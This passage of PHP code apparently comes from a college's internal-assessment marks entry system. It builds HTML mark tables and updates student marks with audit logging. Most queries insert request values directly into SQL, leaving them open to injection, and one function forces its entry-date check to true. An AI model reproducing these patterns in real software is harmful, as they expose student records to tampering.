maxlength='3' disabled value='{$tot}' > </td>"; $k++; $e_data.="</tr>"; } }else { $e_data.="<tr class='ui-widget-content jqgrow'>"; $e_data.="<td colspan='{$id}' align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'>Dates are not enabled contact admin</td>"; $e_data.="</tr>"; } $arr['tabledata'] = $e_data; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } function saveIAEntrySectionwise($aobj_context) { session_start(); include("error_log.php"); $collcode=$_SESSION['collcode']; $User_code = $_SESSION['usr']; $techcode = $aobj_context->mobj_data["techcode"]; $classid = $aobj_context->mobj_data["classid"]; $subcode = $aobj_context->mobj_data["subelement"]; $subarry = $aobj_context->mobj_data["subarry"]; $fsubarry = json_decode($subarry); foreach($fsubarry as $value) { $qry = "select fmarks from marks where fcollcode = '{$collcode}' and fsubcode = '{$value->subcode}' and fregno = '{$value->regno}'"; $res = $aobj_context->mobj_db->getRow($qry); $presnt = ""; if(strtoupper($value->marks) == 'AB') { $presnt = "A"; }else if($value->marks == '-1') { $presnt = ""; }else { $presnt = "P"; } if(strtoupper($value->marks) == 'AB') { $value->marks = '-2'; } $query = "update marks set FMARKS = '{$value->marks}', FPRESENT = '{$presnt}', FLOGNAME = '{$User_code}', FLOGDATE = now() where fregno = '{$value->regno}' and fsubcode = '{$value->subcode}' and fcollcode = '{$collcode}'"; $obj_upd = $aobj_context->mobj_db->Execute($query); $oldmarks = $res['fmarks']; $univcode = $_SESSION['FUNIVCODE']; $mob = $_SESSION['FMOBILE']; $usr = $_SESSION['usr']; $college_code = $_SESSION['collcode']; $remark = "MEN - IA Marks Entry - $classid, $exam, $value->subcode, $College_Code,".$value->regno.", Old: $oldmarks, New: ".$value->marks; $enttype = "MEN"; $res = error_logs($aobj_context,$univcode,$remark,$college_code,$enttype,$usr,$mob); } if($obj_upd) { $rdata = "Updated Successfully."; echo($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success")); return $rdata; } else { $rdata = "No Updation / Add..!"; echo($aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure")); return $rdata; } } function saveIACombined($aobj_context) { session_start(); include("error_log.php"); $collcode=$_SESSION['collcode']; $User_code = $_SESSION['usr']; $techcode = $aobj_context->mobj_data["techcode"]; $classid = $aobj_context->mobj_data["classid"]; //$subcode = $aobj_context->mobj_data["subelement"]; $subarry = $aobj_context->mobj_data["subarry"]; $fsubarry = json_decode($subarry); foreach($fsubarry as $value) { $qry = "select fmarks from marks where fcollcode = '{$collcode}' and fsubcode = '{$value->subcode}' and fregno = '{$value->regno}'"; $res = $aobj_context->mobj_db->getRow($qry); $presnt = ""; if(strtoupper($value->marks) == 'AB') { $presnt = "A"; }else if($value->marks == '-1') { $presnt = ""; }else { $presnt = "P"; } if(strtoupper($value->marks) == 'AB') { $value->marks = '-2'; } $query = "update marks set FMARKS = '{$value->marks}', FPRESENT = '{$presnt}', FLOGNAME = '{$User_code}', FLOGDATE = now() where fregno = '{$value->regno}' and fsubcode = '{$value->subcode}' and fcollcode = '{$collcode}'"; $obj_upd = $aobj_context->mobj_db->Execute($query); $oldmarks = $res['fmarks']; $univcode = $_SESSION['FUNIVCODE']; $mob = $_SESSION['FMOBILE']; $usr = $_SESSION['usr']; $college_code = $_SESSION['collcode']; $remark = "MEN - IA Marks Entry - $classid, $exam, $value->subcode, $College_Code,".$value->regno.", Old: $oldmarks, New: ".$value->marks; $enttype = "MEN"; $res = error_logs($aobj_context,$univcode,$remark,$college_code,$enttype,$usr,$mob); } if($obj_upd) { $rdata = "Updated Successfully."; echo($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success")); return $rdata; } else { $rdata = "No Updation / Add..!"; echo($aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure")); return $rdata; } } function getTestMaxQn($aobj_context){ $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $collcode = $_SESSION['collcode']; $techcode = trim($aobj_context->mobj_data["teachname"]); $classid = trim($aobj_context->mobj_data["classid"]); $subelement = trim($aobj_context->mobj_data["subelemnt"]); $query = "select s.ftest, s.fvalmax, s.FNOQN from attendsum a inner join degree d on a.fdegree = d.fdegree and a.fexamno = d.fexamno inner join subject s on a.fdegree = s.fdegree and a.fexamno = s.fexamno and left(a.fsubcode,4) = s.fsubcode where a.fteachcode = '{$techcode}' and fclassid = '{$classid}' and s.fcsubcode = '{$subelement}' and s.fintass = 'T' and s.fretain = 'T' group by a.fdegree"; $result = $aobj_context->mobj_db->GetRow($query); //var_dump($query); if($result){ echo($aobj_context->mobj_output->ToJSONEnvelope($result,0,"success")); return $result; }else{ $rdata = "No data found..!"; echo($aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure")); return $result; } } function viewIAUnitwise($aobj_context) { session_start(); $collcode=$_SESSION['collcode']; $teachcode = $aobj_context->mobj_data["teachcode"]; $classid = $aobj_context->mobj_data["classid"]; $subelement = $aobj_context->mobj_data["subelement"]; $txtmarks = $aobj_context->mobj_data["txtmarks"]; $txtunits = $aobj_context->mobj_data["txtunits"]; $testName = $aobj_context->mobj_data["testName"]; $query = "select * from collexam where fcollcode = '{$collcode}' and fdegree = '{$degree}' and fexamno = '{$exam}' and DATE_FORMAT(NOW(),'%Y-%m-%d') between DATE_FORMAT(collexam.fiafrom,'%Y-%m-%d') AND DATE_FORMAT(collexam.fiato,'%Y-%m-%d')"; // var_dump($query); $res3=$aobj_context->mobj_db->GetAll($query); $res3 = true; $query = "select * from control"; $res9=$aobj_context->mobj_db->GetRow($query); $FREGROLL = $res9['FREGROLL']; $query1="select stu.FREGNO, stu.FNAME, mak.fmarks,mak.fmarks11,mak.fmarks12,mak.fmarks13, mak.fmarks14,mak.fmarks15, mak.fmarks21,mak.fmarks22,mak.fmarks23, mak.fmarks24,mak.fmarks25,mak.fsubcode, mak.fdegree,mak.fexamno,sub.FTEST, sub.feqldiv FROM student stu inner join marks mak ON stu.fdegree = mak.fdegree and stu.FREGNO=mak.FREGNO and mak.FCOLLCODE='{$collcode}' inner join subject sub on sub.FcSUBCODE = mak.FSUBCODE inner join degree d on d.FDEGREE =mak.FDEGREE and d.Fexamno=mak.Fexamno and d.FMEYEAR=mak.FYEAR and d.FMEEXAMTYP=mak.FEXAMTYPE inner join attendsum a on sub.fdegree = a.fdegree and a.fexamno = sub.fexamno and left(a.fsubcode,4) = sub.fsubcode and mak.fdegree = a.fdegree and mak.fexamno = a.fexamno and left(a.fsubcode,4) = left(mak.fsubcode,4) and stu.fregno = a.fregno WHERE stu.FREGNO != '' and fintass = 'T' and a.fteachcode = '{$teachcode}' and a.fclassid = '{$classid}' and sub.fcsubcode = '{$subelement}' group by stu.FREGNO order by stu.FREGNO"; //var_dump($query1); $results1=$aobj_context->mobj_db->GetAll($query1); $FTEST = $results1[0]['FTEST']; $feqldiv = $results1[0]['feqldiv']; $id = 4+$txtunits; //var_dump($query); $e_data.="<table width='95%' id = 'showteachsub' cellspacing='0' class='tr_ventor_row' cellpadding='0' border='0' >"; $e_data.="<th align='left' colspan='{$id}' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Marks List</th>"; $e_data.="<tr class='ui-state-default ui-jqgrid-hdiv'>"; $e_data.="<td style='padding:2px; width:20px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Sl.<br>No.</center></td>"; $e_data.="<td style='padding:2px; width:50px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>".$FREGROLL."</center></td>"; $e_data.="<td style='padding:2px; width:140px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Student Name</center></td>"; $ressub = ""; $x = 1; for($a =0;$a<$txtunits;$a++) { if($feqldiv == 'T') { $e_data.="<td style='padding:2px; width:30px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Unit $x<br> Max. M.: ".($txtmarks/$txtunits)."</center></td>"; }else { if($a == 0) $e_data.="<td style='padding:2px; width:30px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Unit $x<br> Max. M.: ".ceil($txtmarks/$txtunits)."</center></td>"; else $e_data.="<td style='padding:2px; width:30px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Unit $x<br> Max. M.: ".floor($txtmarks/$txtunits)."</center></td>"; } $x++; } $e_data.="<td style='padding:2px; width:30px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Total <br> Max. M.: $txtmarks</center></td>"; $e_data.="</tr>"; $k=1; $border_bottom="border-bottom:1px solid #C5DBEC;"; if($res3) { foreach($results1 as $value) { $fsubcode = $value['fsubcode']; $regno = $value['FREGNO']; $feqldiv = $value['feqldiv']; $e_data.="<tr class='ui-widget-content jqgrow'>"; $e_data.="<td tabindex=-1 align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'>{$k}</td>"; $e_data.="<td tabindex=-1 align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'> <input tabindex=-1 {$inp_class} type=text name='Regno' style='width:80px;border:none;' readonly id='reg_{$value[FREGNO]}' value='{$value[FREGNO]}'> </td>"; $e_data.="<td tabindex=-1 align='left' style='{$border_bottom};border-right:1px solid #C5DBEC; padding:2px;' id='mes_std_name_{$value[FREGNO]}' > {$value[FNAME]} <input type=hidden style='width:10px;{$border}' id='hidden_{$fsubcode}_{$value[FREGNO]}' value='A'> </td>"; $y = 1; for($a =0;$a<$txtunits;$a++) { if($testName == 'Test 1') $marks = "fmarks1".$y; else if($testName == 'Test 2') $marks = "fmarks2".$y; $marksval = $value[$marks]; if($marksval == '-2') $marksval = 'AB'; if($feqldiv =='T') { $maxmarks = $txtmarks/$txtunits; }else { if($a == 0) $maxmarks = ceil($txtmarks/$txtunits); else $maxmarks = floor($txtmarks/$txtunits); } $e_data.="<td align='center' style='padding:2px; width:30px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'> <input type='text' style='width:30px;text-align: center;{$border};' id='mes_marks_{$fsubcode}_{$value[FREGNO]}_$y' class='ElementCount' onkeypress='return isNumberKey(event,this.id)' maxlength='5' onchange = 'gethidenupdate(this.id)' onkeyup = 'addUnittottal(\"{$txtunits}\",\"{$regno}\",\"$fsubcode\")' onblur = 'validateUnitMarks(\"{$maxmarks}\",\"{$regno}\",\"{$fsubcode}\",\"$y\")' value='{$marksval}' > </td>"; $y++; } if($FTEST ==1) $totmarks = $value['fmarks']; else if($FTEST ==2) { if($testName == 'Test 1') $totmarks = $value['fmarks11']; else if($testName == 'Test 2') $totmarks = $value['fmarks21']; } if($totmarks == '-2') $totmarks = 'AB'; $e_data.="<td align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'> <input type='text' tabindex=-1 style='width:30px;text-align: center;{$border}' id='mes_marks_tot_{$value[FREGNO]}' class='ElementCount' maxlength='5' disabled value='{$totmarks}' > </td>"; $k++; $e_data.="</tr>"; } }else { $e_data.="<tr class='ui-widget-content jqgrow'>"; $e_data.="<td colspan='{$id}' align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'>Dates are not enabled contact admin</td>"; $e_data.="</tr>"; } $arr['html'] = $e_data; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } function saveIAEntryUnitnwise($aobj_context) { session_start(); include("error_log.php"); $collcode=$_SESSION['collcode']; $User_code = $_SESSION['usr']; $techcode = $aobj_context->mobj_data["techcode"]; $classid = $aobj_context->mobj_data["classid"]; $txtunits = $aobj_context->mobj_data["txtunits"]; $testName = $aobj_context->mobj_data["testName"]; $subarry = $aobj_context->mobj_data["subarry"]; $fsubarry = json_decode($subarry); foreach($fsubarry as $value) { $newmarks = ""; $qry = "select fmarks,ifnull(fmarks11,'') as fmarks11,ifnull(fmarks12,'') as fmarks12, ifnull(fmarks21,'') as fmarks21,ifnull(fmarks22,'') as fmarks22, fdegree,fexamno,fsubcode from marks where fcollcode = '{$collcode}' and fsubcode = '{$value->subcode}' and fregno = '{$value->regno}'"; $res = $aobj_context->mobj_db->getRow($qry); $fmarks = $res['fmarks']; $fmarks11 = $res['fmarks11']; $fmarks12 = $res['fmarks12']; $fdegree = $res['fdegree']; $fexamno = $res['fexamno']; $fsubcode = $res['fsubcode']; $query = "select ftest From subject where fdegree = '{$fdegree}' and fexamno = '{$fexamno}' and fcsubcode = '{$fsubcode}'"; $res2 = $aobj_context->mobj_db->getRow($query); $ftest = $res2['ftest']; $totmarks = 0; $abcnt = $txtunits; for($a=1;$a<=$txtunits;$a++) { $presnt = ""; $text1 = ''; if($ftest == '1') { $text1 = "fmarks1".$a; }else if($ftest == '2') { if($testName == 'Test 1') $text1 = "fmarks1".$a; else if($testName == 'Test 2') $text1 = "fmarks2".$a; } $text = "fmarks1".$a; $marks = $value->$text; if(strtoupper($marks) == 'AB') { $marksval = '-2'; $abcnt--; }else { $marksval = $marks; $totmarks = floatval($totmarks)+floatval($marks); } $query = "update marks set $text1 = '{$marksval}', FLOGNAME = '{$User_code}', FLOGDATE = now() where fregno = '{$value->regno}' and fsubcode = '{$value->subcode}' and fcollcode = '{$collcode}'"; $obj_upd = $aobj_context->mobj_db->Execute($query); //var_dump($query); $newmarks .= " $text1: $marksval"; } $oldmarks = "m: $fmarks - m1: $fmarks11 - m2: $fmarks12"; $univcode = $_SESSION['FUNIVCODE']; $mob = $_SESSION['FMOBILE']; $usr = $_SESSION['usr']; $college_code = $_SESSION['collcode']; $remark = "MEN - IA Marks Entry - $techcode, $classid, $exam, $value->subcode, $College_Code,".$value->regno.", Old: $oldmarks, New: ".$newmarks; $enttype = "MEN"; $res = error_logs($aobj_context,$univcode,$remark,$college_code,$enttype,$usr,$mob); if($abcnt == 0) { $totmarks = '-2'; } if($ftest == '1') { $query = "update marks set fmarks= '{$totmarks}' where fregno = '{$value->regno}' and fsubcode = '{$value->subcode}' and fcollcode = '{$collcode}'"; }else if($ftest == '2') { $query = "update marks set fmarks= (( if(ifnull(fmarks11,0) = '-2',0, ifnull(fmarks11,0)) +if(ifnull(fmarks21,0) = '-2',0, ifnull(fmarks21,0)) )/2) where fregno = '{$value->regno}' and fsubcode = '{$value->subcode}' and fcollcode = '{$collcode}'"; // var_dump($query); } $obj_upd = $aobj_context->mobj_db->Execute($query); } if($obj_upd) { $rdata = "Updated Successfully."; echo($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success")); return $rdata; } else { $rdata = "No Updation / Add..!"; echo($aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure")); return $rdata; } } ?>
Close